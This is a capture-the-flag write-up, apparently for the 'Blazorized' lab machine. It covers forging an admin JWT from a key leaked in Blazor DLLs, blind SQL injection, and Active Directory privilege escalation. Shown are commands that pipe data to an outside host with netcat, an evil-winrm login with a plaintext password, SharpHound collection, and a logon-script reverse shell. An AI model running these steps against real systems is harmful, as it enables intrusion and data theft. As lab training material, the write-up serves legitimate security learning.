The Check for Updates page makes request to api subdomain
Writeup-1.png
In the API request we see an Authorization Token, but we are not yet logged in.
Writeup-2.png
Nice, we have superadmin session token
Writeup-3.png
Blazor DLLs
I tried using token to login into the admin panel but was unlucky. If we look at traffic when visiting admin subdomain some odd requests are made. Backend seems to be based on .NET C#... Yeap!Blazor is a free and open-source web framework that enables developers to create web user interfaces based on components, using C# and HTML. It is being developed by Microsoft, as part of the ASP.NET Core web app framework. Wikipedia
Writeup-4.png
App is built with wasm and Blazor. If you visit the website for the first time you'll notice it's saying Loading, but that's fine nothing unusual. But if you're monitoring the traffic you see a lot of interesting things!
Reference: Just Blazor Programming: Hack A Blazor WASM App
Writeup-5.png
Copy the dll endpoint links into endpoints_burp.log and download all of them.
Leaked JWT Secret
We don't need System.* or Microsoft.* dll so we can skip them. Usually we need projectname.*. The Helpers dll reveals information about JWT signing and we have a key.
Writeup-6.png
Code which created admin token:
Forge the token:
Writeup-7.png
The admin subdomain first tries to authenticate by JWT Token. There was LocalStorage dll so it must be taking value from that. After a lot of fuzzing jwt was the key it used for auth...
Writeup-8.png
Admin Panel
Writeup-9.png
SQLi
Testing for SQL injection we get True or False, so Blind Injection.
We are part of custom group so It's worth enumerating Groups.
Exfiltrate the zip
Writeup-17.png
As I thought, the exfiltration was not successful because of piping zip directly to nc. To bypass this we can encode the file using Base64, easiest way being certutil.exe
Note: certutil.exe is used for certificates, make sure to remove First and Last line for valid Base64!
The Bloodhound doesn't give any more information about PrivEsc. Upload PowerView and explore system manually.
After invoking Get-DomainUser and looking over the result one field stands out, logoncount. 3984 logon time seems line an automated task.
Logon scripts are usually found in C:\WINDOWS\SYSVOL\domain\scriptssrc
Logon Script
Check what's in the logon scripts directory:
Get permissions:
Im not sure why, but Villain payload kept failing to get connection from logon script. Using Powershell #3 (Base64) made the connection... Meanwhile I was trying different things and ended up using the following path. The domain directory would have probably also worked, but not gonna test it since I have shell......
Privilege Escalation (Administrator)
Gather data as ssa_6010 user and exfiltrate it.
Writeup-24.png
Since mimikatz is interactive I upgraded the netcat to ConPtyShell.
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_0069: Expected O, but got Unknown
//IL_0069: Unknown result type (might be due to invalid IL or missing references)
try
{
List<Claim> list = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", superAdminRoleClaimValue)
};
string text = issuer;
string text2 = adminDashboardAudience;
SigningCredentials signingCredentials = GetSigningCredentials();
DateTime? dateTime = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
JwtSecurityToken val = new JwtSecurityToken(text, text2, (IEnumerable<Claim>)list, (DateTime?)null, dateTime, signingCredentials);
return ((SecurityTokenHandler)new JwtSecurityTokenHandler()).WriteToken((SecurityToken)(object)val);
}
catch (Exception)
{
throw;
}
}
PS C:\Windows\system32> whoami /all
User Name SID
================== =============================================
blazorized\nu_1055 S-1-5-21-2039403211-964143010-2924010611-1117
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
BLAZORIZED\Normal_Users Group S-1-5-21-2039403211-964143010-2924010611-1133 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Kerberos support for Dynamic Access Control on this device has been disabled.
PS C:\users\nu_1055> systeminfo
Host Name: DC1
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA656
Original Install Date: 1/8/2024, 1:09:13 PM
System Boot Time: 7/2/2024, 5:37:39 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: VMware, Inc. VMW71.00V.21805430.B64.2305221826, 5/22/2023
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume3
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-06:00) Central Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 826 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 1,064 MB
Virtual Memory: In Use: 3,735 MB
Page File Location(s): C:\pagefile.sys
Domain: blazorized.htb
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.22
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
PS C:\windows\panther> cat unattend.xml
...
<component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UserAccounts>
<AdministratorPassword>*SENSITIVE*DATA*DELETED*</AdministratorPassword>
</UserAccounts>
...
BLAZORIZED\nu_1055> upload ./SharpHound.exe SH.exe
BLAZORIZED\nu_1055> .\SH.exe -c all --zipfilename sh.zip --zippassword 'Password123$'
BLAZORIZED\nu_1055> ls
Directory: C:\users\public
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 10/6/2021 3:38 PM Documents
d-r--- 9/15/2018 2:19 AM Downloads
d----- 7/2/2024 11:23 AM loot
d-r--- 9/15/2018 2:19 AM Music
d-r--- 9/15/2018 2:19 AM Pictures
d-r--- 9/15/2018 2:19 AM Videos
-a---- 7/2/2024 11:37 AM 23459 20240702113738_sh.zip
-a---- 7/2/2024 11:34 AM 1342464 SH.exe
-a---- 7/2/2024 9:37 AM 2387456 wp.exe
-a---- 7/2/2024 9:41 AM 598234 wp.log
-a---- 7/2/2024 11:37 AM 46015 ZWY3N2UxMzgtNTg0Zi00OTg1LTllNmQtMDg1Yjc5ZmYzNWMz.bin
BLAZORIZED\nu_1055> upload nc64.exe nc.exe
BLAZORIZED\nu_1055> cat 20240702113738_sh.zip | ./nc.exe 10.10.16.72 4444
└─$ evil-winrm -i 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> whoami /all
User Name SID
=================== =============================================
blazorized\rsa_4810 S-1-5-21-2039403211-964143010-2924010611-1107
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BLAZORIZED\Remote_Support_Administrators Group S-1-5-21-2039403211-964143010-2924010611-1115 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\users\public> .\SH.exe -c all --zipfilename sh.zip --zippassword 'Password123$'
*Evil-WinRM* PS C:\users\public> download 20240702141848_sh.zip
*Evil-WinRM* PS C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF> cat 2C0A3DFE2030.bat
:: TO-DO: Notify LSA_3214 to write the logonScript for SSA_6010
*Evil-WinRM* PS C:\windows\sysvol> $acl = Get-Acl C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat
*Evil-WinRM* PS C:\windows\sysvol> foreach ($property in $acl.PSObject.Properties) {
Write-Output "$($property.Name): $($property.Value)"
}
PSPath: Microsoft.PowerShell.Core\FileSystem::C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat
PSParentPath: Microsoft.PowerShell.Core\FileSystem::C:\windows\sysvol\domain\scripts\A32FF3AEAA23
PSChildName: 2C0A3DFE2030.bat
PSDrive: C
PSProvider: Microsoft.PowerShell.Core\FileSystem
CentralAccessPolicyId:
CentralAccessPolicyName:
Path: Microsoft.PowerShell.Core\FileSystem::C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat
Owner: BLAZORIZED\RSA_4810
Group: BLAZORIZED\Domain Users
Access: System.Security.AccessControl.FileSystemAccessRule System.Security.AccessControl.FileSystemAccessRule System.Security.AccessControl.FileSystemAccessRule System.Security.AccessControl.FileSystemAccessRule System.Security.AccessControl.FileSystemAccessRule System.Security.AccessControl.FileSystemAccessRule
Sddl: O:S-1-5-21-2039403211-964143010-2924010611-1107G:DUD:AI(A;ID;0x1201bf;;;S-1-5-21-2039403211-964143010-2924010611-1107)(A;ID;0x1200a9;;;AU)(A;ID;0x1200a9;;;SO)(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-2039403211-964143010-2924010611-1107)
AccessToString: BLAZORIZED\RSA_4810 Allow Write, ReadAndExecute, Synchronize
NT AUTHORITY\Authenticated Users Allow ReadAndExecute, Synchronize
BUILTIN\Server Operators Allow ReadAndExecute, Synchronize
BUILTIN\Administrators Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
BLAZORIZED\RSA_4810 Allow FullControl
AuditToString:
AccessRightType: System.Security.AccessControl.FileSystemRights
AccessRuleType: System.Security.AccessControl.FileSystemAccessRule
AuditRuleType: System.Security.AccessControl.FileSystemAuditRule
AreAccessRulesProtected: False
AreAuditRulesProtected: False
AreAccessRulesCanonical: True
AreAuditRulesCanonical: True
## Note: If shit is fuzzy it's because of other players! Had to restart machine.
└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.22:51683.
PS C:\Windows\system32> whoami /all
User Name SID
=================== =============================================
blazorized\ssa_6010 S-1-5-21-2039403211-964143010-2924010611-1124
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
BLAZORIZED\Super_Support_Administrators Group S-1-5-21-2039403211-964143010-2924010611-1123 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled